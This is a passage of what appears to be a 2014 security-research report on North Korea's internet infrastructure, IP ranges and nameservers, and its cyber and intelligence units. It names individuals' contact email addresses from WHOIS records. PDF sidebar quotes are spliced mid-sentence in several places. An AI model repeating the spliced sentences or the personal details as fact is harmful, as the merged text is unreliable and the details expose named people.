Red Star OS is only offered in the Korean language and
features proprietary software including Naenara (a Firefox-based browser), as well as a text
editor, email client, audio and video players, and games.80 Red Star OS’s keyboard layouts include
Korean, English, Russian, Chinese, and Japanese.
Regime ideals extend to Red Star OS.
The
readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il
regarding the importance of North Korea having its own Linux-based operating system that is
compatible with Korean traditions.
While prior versions of Red Star were KDE-based, version 3.0
mimics Apple’s OS X.81 82 This could indicate the regime leader Kim Jong Un’s preference for the
OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain
Red Star OS.
However, the purchase of computers is heavily regulated.84 The OS’s design suggests
it was developed with means for the regime to monitor user activity.85
North Korea is known to use two IP ranges.
175.45.176.0/22 is North Korea’s own IP block.86
Additionally, North Korea’s Telecommunications Ministry is the registered user of China Unicom IP
range 210.52.109.0/24.87 The country’s only autonomous system (AS) number is AS131279, and
its only peer is AS4837, the AS for China Unicom.88
North Korea’s country code top-level domain (ccTLD) is .kp.
In 2007, the .kp TLD was initially
delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to
77
http://www.naenara.com.kp/en/kcc/
78
http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/
79
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
80
http://ashen-rus.livejournal.com/4300.html
81
http://news.bbc.co.uk/2/hi/technology/8604912.stm
82
http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/
83
http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3
84
http://rt.com/news/north-korea-cyber-weapon/
85
http://news.bbc.co.uk/2/hi/technology/8604912.stm
86
http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/
87
https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/
88
http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/
89
http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/
maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the
following nameservers and IP addresses:91
Nameserver             IP Address
ns1.kptc.kp            175.45.176.15
ns2.kptc.kp            175.45.176.16
ns3.kptc.kp            175.45.178.173
Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea.
In
light of this, North Korea has managed to develop both hardware and software and hosts an
annual National Exhibition of Invention and New Technologies to promote its products.92 However,
the regime has historically failed in its attempts at large-scale production of electronic
components.
The country’s sparse electrical grid is one of the major obstacles hindering large-
scale manufacturing.93 Additionally, the famine in the early 1990’s negatively impacted existing
manufacturing facilities, and the regime simply does not have the capital to modernize those
factories.94 A member of the World International Property Organization (WIPO), North Korea joined
the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and
leverages intellectual property laws to ensure Westerners do not take credit for North Korean
inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages
intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96
This is ironic since foreign-made electronic components are sometimes smuggled into North
Korea for military use and for personal use by the regime’s upper echelon.
An analysis of developments in North Korean cyberspace since 2010
A comparison of a scan97 of North Korea’s IP ranges in November 2010, just one month after
North Korea made its first direct connection to the Internet, and a series of several scans we
conducted in May 2014, shows that North Korea has made significant headway in establishing its
Internet presence.
In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including
D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall.
Operating systems
detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux.
175.45.176.14 returned
“Naenara” as an html-title.
Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were
down.
As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites,
nameservers, databases, email, and voice over IP (VoIP).
In November 2010, the 175.45.178.xx
range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99
90
http://www.iana.org/reports/2011/kp-report-20110401.html
91
http://www.iana.org/domains/root/db/kp.html
92
http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf
93
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf
94
http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/
95
http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf
96
http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf
97
http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt
98
http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt
99
http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.179.txt
In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and
several nameservers and mail servers were found in the 175.45.179.xx range.
This comparison
demonstrates that there has been some growth in DPRK Internet infrastructure over the past four
years.
However, it seemingly lags behind even most third world nations.
The 2014 scans detected
dated technology that is potentially susceptible to multiple vulnerabilities and consistently
showed the same open ports and active devices on scanned hosts.
It is not clear whether the
regime failed to notice and react to the scanning or whether the regime allows these open ports
and devices to be detected or spoofed to serve as a distraction or possible honeypot.
Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix
B at the end of this report.
According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the
official website of the Korean Central News Agency (KCNA)100; rodong.rep.kp, another North
Korean news site101; and naenara.com.kp, North Korea’s official web portal.102 Naenara translates
to “my country”.
The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star
Joint Venture Company.
The WHOIS Record can be found in Appendix A.
100
http://dig.do/kcna.kp
101
http://dig.do/rodong.rep.kp
102
http://dig.do/naenara.com.kp
Figure 4 A screenshot from the kcna.kp homepage.103
Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered
by Star Joint Venture Company.
The WHOIS Record for this site can be found in Appendix A.
103
http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf
Figure 5 A screenshot from the rodong.rep.kp homepage.104
The WHOIS information for Naenara.com.kp was not available.
104
http://rodong.rep.kp/ko/
Figure 6 A screenshot of the Naenara.com.kp website.105
In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to
malware.106
Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107
105
http://naenara.com.kp/en/
106
http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/
107
http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/
Figure 8 Screenshot detailing why Chrome blocked the site108
It is difficult to say whether this incident is a case of North Korea serving malware or whether a
third party took advantage of an improperly secured website.
Several major North Korean websites are hosted outside of North Korea.
The popular
Uriminzokkiri.com website, whose name translates to “our nation,” is hosted in China.
The
administrative contact for the website is Kim Sejun, and the email address given as contact
information is hyk1979@hotmail.com.
The WHOIS Record for this site can be found in Appendix A.
108
http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/
Figure 9 A screenshot of the Uriminzokkiri website 109
The website for Kim Il Sung Open University, otherwise known as “Our Nation School” is also
hosted in China.
The WHOIS record for this site can be found in Appendix A.
109
http://www.uriminzokkiri.com/
Figure 10 A screenshot of ournation-school.com.
110
North Korean cyber war and intelligence structure
At the top of North Korea’s military structure is the National Defense Commission (NDC).
The NDC
is also the highest branch of government and the regime’s supreme policymaking body.
111 Along
with the Central Committee of the Workers’ Party of Korea and the Cabinet, NDC is at the top of
110
http://www.ournation-school.com/
111
https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/
North Korea’s political hierarchy.112 Article 106 of North Korea’s Constitution gives the NDC the
following powers:113
 The power to establish policies of the state in accordance with the military-first
revolutionary line.
 The power to guide the armed forces and oversee defense building.
 The power to supervise and ensure the NDC and its chairman’s orders are executed and to
establish necessary measures.
 The power to override any state decisions or directives that are in opposition to the NDC
or its chairman’s decisions and directives.
 The power to create or remove central organs of the national defense sector.
 The power to create and bestow military titles above general-grade officer rank.
The NDC oversees several defense and intelligence bodies including the Ministry of State Security,
the Ministry of People’s Security, the Ministry of People’s Armed Forces, and the Korean People’s
Army.
The Ministry of State Security (MSS), also known as the State Security Department, is North
Korea’s primary counterintelligence service.
It is considered an autonomous agent of the regime
and reports directly to leader Kim Jong Un.
The MSS’s duties include oversight of North Korean
prison camps, investigation of domestic espionage, repatriation of defectors, and overseas
counterespionage operations.114 The Ministry of People’s Security is also known as the Ministry of
Public Security (MPS).
Focused on domestic order, it oversees North Korea’s national police force,
conducts criminal investigations and preliminary examinations, and oversees correctional
facilities, excluding prison camps.115 While the roles of the MSS and MPS focus more on
intelligence than on cyber operations, the MSS also reportedly has a communications monitoring
and computer hacking group.116
The Ministry of People’s Armed Forces (MPAF) administrates the Korean People’s Army (KPA) and
oversees the General Staff Department (GSD), which is responsible for              Unit 121 comprises both an
operational command and control of North Korea’s armed forces.
The General         intelligence component and
Staff Department also oversees the Reconnaissance General Bureau (RGB), North      an attack component.
One of
Unit 121’s command posts is
Korea’s agency for clandestine operations.
The RGB has a role in both traditional
Chilbosan Hotel in Shenyang,
and cyber operations.
In the past, the RGB has sent agents on overseas military    China.
Unit 121 maintains
assistance missions to train insurgent groups.117 The RGB reportedly has a special technical reconnaissance
operations forces (SOF) element118 and oversees six bureaus that specialize in     teams responsible for
infiltration of computer
operations, reconnaissance, technology and cyber matters, overseas intelligence
networks, hacking to obtain
collection, inter-Korean talks, and service support.119 Two of these bureaus have  intelligence, and planting
been identified as the No.
91 Office and Unit 121.
The No.
91 Office, an office    viruses on enemy networks.
responsible for hacking, operates out of the Mangkyungdae-district of
112
http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/
113
http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html
114
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
115
http://www.factba.se/handbook-page.php?id=1129700
116
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
117
http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf
118
http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf
119
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component.
Unit
121’s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also
has components that conduct operations from within China.
One of Unit 121’s command posts is
Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123
Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on
North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, "They
[Unit 121] are believed to have conducted hacking operations from inside China that falsify
classified data and disrupt U.S. and South Korean systems.
"125 Both Unit 121 and an entity known
as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating
computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127
Figure 11 A map pinpointing the location of the Chilbosan Hotel.128
120
http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html
121
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
122
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
123
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
124
http://www.defense.gov/pubs/2014_DoD_China_Report.pdf
125
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
126
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
127
Clarke, R. A.
(2012).
Cyber war: The next threat to national security and what to do about it.
New York, NY: Ecco.
128
maps.google.com
Figure 12 A satellite view of the Chilbosan Hotel.129
Several entities are nested under the Workers’ Party.
The Central Party
Committee oversees the Central Party Investigative Group, also known as Unit          The Unification Bureau falls
35.
Unit 35 is reportedly responsible for technical education and training of
130                                                                               under the Workers’ Party.
Its
Operations Department is
cyber warriors.
The Unification Bureau’s Operations Department is
131                           132
responsible for cyber-
responsible for cyber-psychological warfare, organizational espionage, and            psychological warfare,
oversight of Unit 204.
Unit 204’s responsibilities include planning and execution     organizational espionage, and
of cyber-psychological warfare operations and technological research.
The             oversight of Unit 204.
Unit 204’s
responsibilities include planning
Psychological Operations Department of the North Korea Defense Commission
and execution of cyber-
also engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225,      psychological warfare operations
is responsible for training agents, infiltration operations in South Korea, and       and technological research.
The
creation of underground political parties in order to incite disorder and revolution.
Psychological Operations
It plays a more traditional intelligence and psychological operations role, rather    Department of the North Korea
Defense Commission also
than focusing on cyber operations.134 The United Front Department (UFD)               engages in cyber-psychological
conducts overt operations to create pro-North Korean groups in South Korea.
warfare.
Examples of this activity include the Korean Asia-Pacific Committee and the
Ethnic Reconciliation Council.
The UFD also manages inter-Korean dialogue and North Korea’s
policy toward South Korea.
Its operations are also more traditional rather than cyber-focused.135
129
maps.google.com
130
Clarke, R. A.
(2012).
Cyber war: The next threat to national security and what to do about it.
New York, NY: Ecco.
131
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
132
http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html
133
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
134
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
135
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
The Liaison Department of the Worker’s Party oversees a faction of ethnic North Koreans residing
in Japan who are critical to North Korea’s cyber and intelligence programs.
This group, which was
established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and
the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek
to preserve North Korean culture while living in Japan.
They operate North Korean style schools
and refuse to assimilate with Japanese culture.137 According to Mitsuhiro Suganuma, former
section head of the second intelligence department of the Japanese Public Security Intelligence
Agency (PSIA), “Chongryon is virtually under the direct control of the Liaison Department of the
Workers’ Party of Korea, which has been in charge of North Korea’s covert operations and
underground activities against South Korea.
Chongryon in Japan has been a strong support
organization aimed at bringing a revolution in South Korea, or a red unification by force.” He also
stated “North Korea will continue to make Chongryon serve as Pyongyang’s pawn in covert
operations against South Korea.”138 The Chongryon are vital to North Korea’s military budget,
raising funds via weapons trafficking, drug trafficking, and other black market activities.139 The
group also forms “front companies” abroad that benefit the regime by generating
“Chongryon is virtually
hard currency.
One example is Unikotech, which was formed to sell KCC products             under the direct control of
abroad.
140 The Chongryon’s underground group known as the Gakushu-gumi, or                the Liaison Department of
“the study group”, gathers intelligence for North Korea and helps the regime               the Workers’ Party of Korea,
which has been in charge of
procure advanced technologies.141 The Chongryon’s role in North Korean
North Korea’s covert
intelligence and resource acquisition is discussed below in more detail.
operations and
underground activities
The regime also has several government bodies under the Cabinet142 that oversee             against South Korea.”
its infrastructure, intelligence, and technological development.
These include the
Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics
Industry, and the Ministry of Posts and Telecommunications.
The CSTIA collects, analyzes, and
processes data regarding advanced science and technology then sends relevant information to
appropriate areas of the national economy.143 The amount of information contained in CSTIA's
technical database makes it North Korea's largest scientific facility.
According to a CIA article,
review of CSTIA’s publications showed that China, Russia, and Japan are important sources of
technical data.
CSTIA’s publications include newsletters and an 18-volume science and
technology reference series.144 The Ministry of Posts and Telecommunications is the body of
oversight for Star Joint Venture Co.145
136
http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html
137
http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html
138
http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/
139
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
140
http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare
141
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
142
http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/
143
https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html
144
https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf
145
https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/
North Korean cyber and intelligence organizational chart
Figure 13 North Korean cyber and intelligence organizational chart
North Korea’s cyber doctrine, strategies and goals
North Korea’s cyber warfare doctrine has not been clearly stated.
However, based on cultural and
technical observations, we may deduce that North Korea’s cyber doctrine follows the tenets of
juche nationalism and the songun doctrine.
Although North Korea’s limited online presence makes a thorough analysis of their cyber warfare
capabilities a difficult task, it must be noted that what is known of those capabilities closely
mirrors their kinetic warfare tactics.
Cyber warfare is simply the modern chapter in North Korea’s
long history of asymmetrical warfare.
North Korea has used various unconventional tactics in the
past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The
regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as “a
conflict in which the resources of two belligerents differ in essence and in the struggle, interact
and attempt to exploit each other's characteristic weaknesses.
Such struggles often involve
strategies and tactics of unconventional warfare, the ‘weaker’ combatants attempting to use
strategy to offset deficiencies in quantity or quality”.
148
According to the aforementioned report to the House Armed Service Committee, “Cyber warfare is
an important asymmetric dimension of conflict that North Korea will probably continue to
emphasize — in part because of its deniability and low relative costs.”149 North Korea’s poor
economic state150, further explains the regime’s reliance on these tactics.
In 2014, the regime
reportedly spent 16% of its budget on defense.151 The North Korean military places a strong
emphasis on information warfare capabilities including political and psychological warfare152 and
cyber or hacker warfare.153
The report by Capt.
Duk-Ki Kim, Ph.D. highlighted North Korea’s counter-asymmetric strategy and
ranked each based on intensity and frequency:
Figure 14 Threat matrix of North Korean asymmetric war capabilities.154
Cyber warfare operations
Just ten years ago, experts noted that North Korea was one of the “least network-ready and most
isolated societies on the planet.”155 Today North Korea’s air-gapped networks and prioritization of
resources for military use provide both a secure and structured base of operations for cyber
operations and a secure means of communications.156 North Korea’s hermit infrastructure creates
146
http://www.history.army.mil/brochures/kw-balance/balance.htm
147
http://www.bbc.com/news/world-asia-pacific-11813699
148
http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Asymmetric_warfare.html
149
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
150
http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at
151
http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/
152
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
153
http://www.giac.org/paper/gsec/1870/information-warfare/103284
154
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
155
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf
156
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
a cyber-terrain that deters reconnaissance.
Because North Korea has few Internet connections to
the outside world, anyone seeking intelligence on North Korea’s networks has to expend more
resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National
Counterintelligence Executive assessed that “Development of the nation, rather than
empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT
infrastructure and industry.”158 In November 2013, Kim Jong Un referred to cyber warfare
capabilities as a “magic weapon” in conjunction with nuclear weapons and missiles.159
According to Kim Heung-kwang, a North Korean defector and former computer science professor,
the regime has the following motivations for expanding its cyber warfare capabilities:160
   Cyber capabilities are a cost-effective way to offset North Korea’s lack of kinetic military
prowess.
   North Korea’s school systems place a strong emphasis on math, giving the nation
confidence in its programmers, cryptographers, and security researchers.
   In the modern warfare landscape, cyber capabilities are potentially more utilitarian than
heavy artillery or aircraft.
   Cyber warfare capabilities provide a platform for espionage, psychological operations,
and other forms of non-kinetic warfare.
   Considering the separatist nature of North Korea’s infrastructure, cyber warfare provides
a strategic advantage since outbound attacks are possible, but inbound attacks would
have limited reach.
   Cyber warfare allows North Korea to leverage the Internet’s inherent flaws for offensive
purposes while maintaining its defenses, primarily via air-gapping its most critical
networks from the outside world.
North Korea’s attack and defense capabilities reportedly include the following cyber warfare and
electronic warfare components: offensive cyber operations (OCO); computer network operations
(CNO), which includes both computer network attack (CNA) and computer network exploitation
(CNE); distributed denial of service (DDoS);161 satellite monitoring; drones; GPS jamming
capabilities162; and deployment of electromagnetic pulse (EMP).163 North Korea’s OCO and CNO
capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33
of 80 South Korean military wireless communication networks.
In June 2006, an attack on the U.S.
State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea
negotiations over the regime’s nuclear missile testing.164 A month later, a South Korean military
report implicated North Korea’s Unit 121 in hacking the South Korean and U.S. Defense
Departments.
North Korea also tested a logic bomb in October 2007.
A logic bomb is malicious
157
http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html
158
http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf
159
http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html
160
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
161
http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf
162
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
163
http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/
164
http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
code programmed to execute based on a pre-defined triggering event.
Following the logic bomb
test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165
North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of
its perceived enemies, the U.S. and South Korea.
While North Korea does not have an immersive
digital culture, both the U.S. and South Korea are heavily dependent upon technological
infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that
cripples or compromises the reliability of the U.S. or South Korea’s technological infrastructure
could have a far-reaching impact.
Gaming for profit and pwnage
North Korea has reportedly used computer games for both illegal capital gain and
North Korea has used
orchestrating cyber attacks.
In 2011, South Korean police arrested five individuals,
computer games for both
including one Chinese national, for allegedly collaborating with North Korean hackers          illegal capital gain and
affiliated with the Korea Computer Center to steal money via online games.167                  orchestrating cyber attacks.
According to South Korean reports, the culprits used an auto-player to quickly
progress in the massively multiplayer online role-playing game (MMORPG) “Lineage” and were
able to use the game’s market to obtain real currency.168 In 2013, South Korean officials released
information stating they had found evidence that North Korea was using games as a medium for
infecting machines and launching cyber attacks.
North Korea had used game downloads to infect
100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS)
attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game
as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure
target.
However, in this case, there was little impact on the target.
Intelligence and counterintelligence
North Korea’s intelligence program is one of its strongest military assets, providing foundational
support for all other military operations.
The regime’s cyber warfare capabilities, in particular, rely
heavily on open-source intelligence (OSINT) collection and cyber-espionage.
170 As noted in a CIA
publication, "It is a significant irony of our information age that open-source intelligence is
contributing to the survival and development of one of the world's most secretive regimes.
"171
Historically, the primary goals of the regime’s intelligence program included collection and
dissemination of intelligence concerning any possible political, military, or economic threat to the
regime’s security and stability.
Secondary goals have included "acquisition of foreign military and
civilian technologies and equipment, support of the DPRK’s foreign policy goals, training and
165
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
166
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf
167
http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china
168
http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html
169
http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddos-
attacks/12383
170
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
171
https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html
support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital
for state and intelligence operations.
"172
North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173
In April 2013, Solutionary, a company providing managed security services, reported a marked
increase in both overt attacks and information gathering attempts originating from
North Korean IPs.
Solutionary refers to any overt external attacks on company               A faction of ethnic North
Koreans residing in Japan,
networks or attempts to steal data as "touches.” They reportedly recorded 12,473 of
known as the Chongryon,
these touches in February 2013, 11,000 of which were directed at a single financial         are critical to North Korea’s
institution.
As a baseline, Solutionary noted that typically only 200 incidents per         cyber and intelligence
month are traced to North Korean origin.
This is an interesting claim, considering
174                                              programs.
that attacks attributed to North Korea are usually routed through other countries.
As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon,
are critical to North Korea’s cyber and intelligence programs and help generate hard currency for
the regime.
The Chongryon headquarters has been recognized as the de facto North Korean
embassy in Japan.
In 2012, the organization’s headquarters was seized to pay for the group’s
past due debts.175
Figure 15 Headquarters of the Chongryon.176
172
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf
173
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
174
http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/
175
http://sundaytimes.lk/?option=com_content&view=article&id=21034:japan-court-approves-seizure-of-nkorea-embassy-
media&catid=81:news&Itemid=625
176
http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/
It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use
the building in what he referred to as a “goodwill gesture”.
Ikeguchi is one of the Chongryon‘s
many ties to organized crime.
Ikeguchi was arrested in the past for an attempted coup against the
Japanese government.
He also has ties to the political group Nihon Seinensya, which is involved in
illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells
amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kai’s
rival syndicate, Yamaguchi-gumi.
Many members of the Kodo-kai, Yamaguchi-gumi’s ruling
faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug
trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179
The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and korea-
np.co.jp.
WHOIS records for chongryon.com indicate that it was registered by “guanin o” using the email
address park2@mac.com.
The WHOIS information for korea-np.co.jp.
shows that it was
registered by Choson Shinbo Company Inc.
The WHOIS records for these sites can be found in
Appendix A.
Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit
from Japan to North Korea.
In 2003, they were suspected of using the ferry to smuggle missile
parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials
discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be
used for military purposes.181
North Korea has a global network of state-run businesses located in 30 to 40                                                  North Korea has a global
countries that is used for espionage activities.
The Reconnaissance General Bureau                                            network of state-run
is responsible for oversight of this network.182 The businesses include cafes and                                             businesses located in 30 to
other non-suspect establishments.
The highest concentration of these is in China.
40 countries that is used for
espionage activities.
These
Members of this espionage network reportedly “send more than $100 million in
establishments are also
cash per year to the regime and provide cover for spies.”183 These establishments                                             used for money laundering
are also used for money laundering and drug trafficking.184                                                                   and drug trafficking.
The regime is also known to kidnap foreign citizens and use them as instruments
for intelligence.
Prisoners are first tortured and psychologically conditioned to bend to the
regime’s will.
They are then used based on their skillset.
This may include teaching their language
to North Koreans, spreading propaganda in their native language, providing translation services,
177
http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/
178
http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212
179
http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html
180
http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm
181
http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/
182
http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242
183
http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American-
Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
184
http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/
conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese
officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the
whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades
ago.
Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186
North Korea has also infiltrated important positions in South Korea for both intelligence and
psychological operations purposes.187 In 2011, South Korea’s National Intelligence
Service reportedly discovered the presence of Communist spies.
These spies within their trusted
circles had been reporting back to North Korea for almost 10 years.
The embedded spies included
a Democratic Party representative.
According to the agency, the spies were on a mission to
infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also
attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in
order to gain intelligence.
